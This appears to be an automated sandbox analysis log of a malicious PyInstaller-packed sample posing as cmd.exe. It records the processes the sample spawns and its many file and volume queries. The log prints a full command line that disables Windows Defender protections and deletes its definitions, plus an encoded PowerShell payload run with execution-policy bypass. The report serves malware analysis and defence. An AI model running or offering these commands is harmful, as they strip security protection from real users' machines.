gacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Code function: 65_2_00007FF69A42B340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 65_2_00007FF69A42B340
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AF195E0 cpuid 0_2_00007FF70AF195E0
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_ctypes.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\libffi-7.dll VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\python310.dll VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\blank.aes VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_bz2.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_sqlite3.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\base_library.zip VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\_socket.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI72642 VolumeInformation
Source: C:\Users\user\Desktop\cmd.exe Queries volume information: C:\Users\user\Desktop\cmd.exe VolumeInformation
